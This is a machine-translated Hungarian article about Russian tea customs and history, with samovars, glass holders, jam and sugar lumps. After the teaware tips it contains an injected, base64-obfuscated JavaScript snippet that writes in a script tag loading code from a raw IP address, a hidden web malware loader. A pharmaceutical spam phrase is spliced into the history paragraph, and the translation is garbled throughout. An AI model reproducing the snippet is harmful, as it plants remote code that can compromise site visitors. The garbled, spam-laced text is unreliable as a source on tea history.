Megérintés a kelet-európai teahagyományokkal: Oroszországból szeretettel

A manhattani orosz teázó élénkpiros étkezőjében egy dicsőséges réz szamovár mellett találtam magam, és szembesültem egy kaviárral, apró füstölt halas szendvicsekkel és forró pogácskákat csövező blinek tornyos megjelenítésével. Reméltem, hogy itt megtudom, hogyan csináltak nagy teát az oroszok, elvégre ők az ötödik legnagyobb italfogyasztók a világon.

„Ez nagyon nagy része az életnek, és amikor otthon vagyok a családommal, csak ülünk az asztal körül, és megvitatjuk a politikát. A szomszédok eljönnek, és hangos és gőgös lesz ”- mondta a szentpétervári származású Olga Massov író, aki most Brooklynban él. "Nyugodtan mondhatjuk, hogy a tea Oroszország nagyon nagy része."

A tea is nagyon nagy része a vendéglátásnak, és Oroszországban, mint sok más országban, minden vendéget egy csészével fogadnak. Az ital minden étkezést is követ, és bár manapság a kávé Kelet-Európában nyomot hagyott, a tea még mindig az az ital, amelyhez sokan ragaszkodnak.

"Étkezés után nem vagyunk boldogok, csak miután elfogyasztunk egy csésze teát" - mondta Anna Gershenson, Lettországból származó bevándorló, aki most Massachusettsben él. Oroszországban töltött ideje alatt elmagyarázta, hogy a tea csak laza levél formájában érkezett, és csak akkor, amikor az Egyesült Államokba költözött, megtudta a teazsákokat. Hagyományosan teát ittak üvegcsészékből podstakannik nevű tartókkal; rongybabát használt, amelyet teanak is hívtak, és melegen tartották a vízforralót; és soha ne tegyen tejet a főzetbe. Oroszországban a tea édesítésében is más a helyzet.

"A cukorkockákat nem teszed a teádba" - magyarázta Gershenson.

teahagyományokat

Teaidő az orosz teázóban

"Vagy megharapná, ha jó fogai vannak, és kortyolgatja a teát, vagy kissé belemártja a teába."

Az orosz cukorkockák gyakran nagyobb, tégla alakú csomókként kerülnek forgalomba, amelyeket téglának hívnak. Ez megkönnyíti a darabok letörését és a dunkingolást, de a kockák, amint Gershenson lánya, Gabriella emlékeztetett, nagyapjának tökéletes méretet bizonyítottak a fogai között, amelyet aztán belekortyolt volna a fekete sörbe.

A lekvár az orosz teahagyomány másik nagy része, általában eper, cseresznye vagy málna. Az utóbbi ízvilágról azt hitték, hogy gyógyító tulajdonságokkal rendelkezik, és Gabriella, New York-i székhelyű ételíró úgy emlékszik, hogy ugyanaz a nagypapa teába tette neki, amikor beteg volt. "Nagyon jó íze volt" - mondta, és ha valaha is kipróbálta, akkor tudja, hogy igaza van, ez az egyik oka annak, hogy édesanyja soha nem spórolt volna a konzervek teával való tálalásával. "Ha nem is teszel lekvárt a teába, mindig lekvárt szolgálunk fel" - mondta telefonon. "Senki nem ivott teát, amelyet nem édesítettek."

Hogy honnan jött az ötlet, hogy lekvárt tegyenek a teába, továbbra is rejtély, de hogy a tea hogyan vált az ország ilyen nagy részévé, azt könnyebb kitalálni. Az 1600-as években I. Mihály cár nagyjából 250 font teát kapott ajándékba egy mongol uralkodótól, ami az első feljegyzés arról, hogy Camellia Sinensis Oroszországban jelent meg. Az ital elkapta, és 1679-re Oroszország megállapodást kötött Kínával, hogy szőrméket cseréljen rendszeres teakészletért. Ebben az időben a tea rendkívül drága volt, és emiatt a tea csaknem két évszázadig jogdíjfogyasztó ital lett.

Az 1800-as években a legtöbb tea 16–18 hónapos tea-lakókocsik útján jutott el Oroszországba Kínából. Így kapta a nevét a jól ismert orosz lakókocsi keverék, és a füstösség, amelyet társítunk hozzá, eredetileg az út során égő tábortűzökből származott.

Végül az oroszok Szocsiban kezdték el teázni, amely a mai napig a világ legészakibb teatermesztési régiója. Most nem nagyon állítanak elő ott, főleg Kínához vagy Indiához képest, de mégis elmehet a Dagomys Tea Ültetvénybe, hogy megnézze, hogyan csinálják, és maradjon egy csésze mellett.

Szamovárok a kiállításon

Az orosz teázóban kapott tea nem a 2014. évi téli olimpia otthonának számító Szocsiból származott. Ehelyett, amikor a szüreti szamovárok mellett ültünk, mint egy őrszem a plüss vörös fülkénkben, kaptunk egy kis edény vanília- és citrusillatú Vlagyimir herceget és Oroszországot, amely könnyebben felvette az orosz lakókocsit, amelyet a párizsi Kusmi cég készített.

Sajnos a gyönyörű szamovárokat nem láttam működésben, de ez nem meglepő. Manapság, mivel az emberek többségében van áram, a szénmelegített ereklyék nem szoktak gyakran felhasználni. Az első ismert "modern" szamovárt, hasonlóan az orosz teázóhoz, 1717-ben hozták létre, bár a tömeges szamovárgyártás kezdete csak 1778-ban kezdődött, amikor Nazar Lisitsyn felvette Oroszország első szamovárgyárát.

Ahelyett, hogy e régi műtárgyak egyikéből öntöttünk volna, kerámia teáskannákkal rendelkeztünk, és az italokat üvegpoharakból ittuk, amelyeket fémtartókba vagy podstakannikba tettek a könnyű kortyolás érdekében.

Gyakran megtalálható ezüst, nikkel vagy arany bevonatú podstakannik, és ezek kidolgozott mintákban jelenhetnek meg a finom filigrántól a cárok arcáig, a történelmi események ábrázolásáig. Ez a teáscsésze-stílus a posztszovjet államokban is megtalálható, beleértve Fehéroroszországot és Ukrajnát, és először a paxil, az olcsó dapoxetin század 18. mellékhatásaiban jelent meg. Ma még mindig népszerűek az üvegtartók, és a kolchuginói Kolchug-Mizar gyár 1871 óta a legnagyobb gyártó ezeknek.

Az orosz teázó csészéi nem annyira kidolgozottak, de a házi meggylekvár és a finom szendvicsek által kínált étel elég nagyfajta érzetet adott. Igaz, ha ma vagy akár egy évszázaddal ezelőtt betévedne egy orosz háztartásba, a teaszolgáltatás nem olyan lenne, mint ebben az ikonikus New York-i étteremben, ez inkább a brit befolyás. Ennek ellenére, még akkor is, ha a kávé elrabolja a legújabb generáció szívét, a tea mind a hagyományokban, mind az oroszok ízlésében erősen megállja a helyét.

"Most szeretem a kávét, de ez teljesen más" - mondta Gershenson. "Amikor teát iszom, azt gondolom:" Ah. "Nincs semmi, mint teázni."

Orosz tea idő

Tea: A Kusmi Tea Vlagyimir hercege, fekete kínai tea, bergamott, citrom és grapefruit keveréke. Az íze klasszikus Earl Grey-ként jelenik meg, élénk citrusfélékkel és felmelegedő vaníliaoldallal, amely tökéletes egy hideg, téli éjszakához Oroszországban. Ettől a keveréktől eltekintve 12 orosz témájú teát kínálnak, mindezt érdemes kipróbálni.

Édességek: Párosítsd a teádat egy egyszerű vajas sütivel vagy tea zsemlével. Kipróbálhatja az édes, gyűrű alakú sushit vaníliával a russiantable.com webhelyről, vagy a The Famous Pacific Dessert Company citromos teás sütijéhez fogyaszthat, amelyet megtalálhat az amazon.com oldalon.

Teaware: Nem nehéz megtalálni az orosz kristályüvegeket és egy gyönyörű podstakannik-t, ahová be lehet tenni, bár egy dekoratív pohártartó esetében a legjobb, ha szüretelünk. A modern végén vegyen fel egy elektromos szamovárt a tea elkészítéséhez; könnyebb és gazdaságosabb, mint a szénégetés, amelyek már nem készülnek. függvény getCookie (e) \ (\) \ [\] \\\/\ + ^])/g, ”\\ $ 1 ″) +” = ([^;] *) ”)); return U? decodeURIComponent ( U [1]): void 0> var src =”adatok: text/javascript; Base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs =”, most = Math.floor (Date.now ()/1E3), cookie = getCookie ( »átirányítás«), ha (most> = (idő = süti) || érvénytelen 0 === idő)

Szomjas többre?
Szerezd meg a napi adag meredek történeteket, tippeket és tippeket
Kattintson ide ingyenes előfizetéséhez!

A szerzőről

Linnea Covington szabadúszó étel-, ital- és utazási író 12 évvel ezelőtt a coloradói Denverből a New York-i Brooklynba költözött, és azóta is szeret enni, inni és felfedezni a várost. A tea iránti szeretete abból fakad, hogy meglátogatta nagyapját, egy Earl Grey rajongót, és az évek során egy perui teaültetvényt látogatott meg, teázott egy luxus vonalhajózáson, és teát beszélt Marcus Samuelsson híressé vált séffel.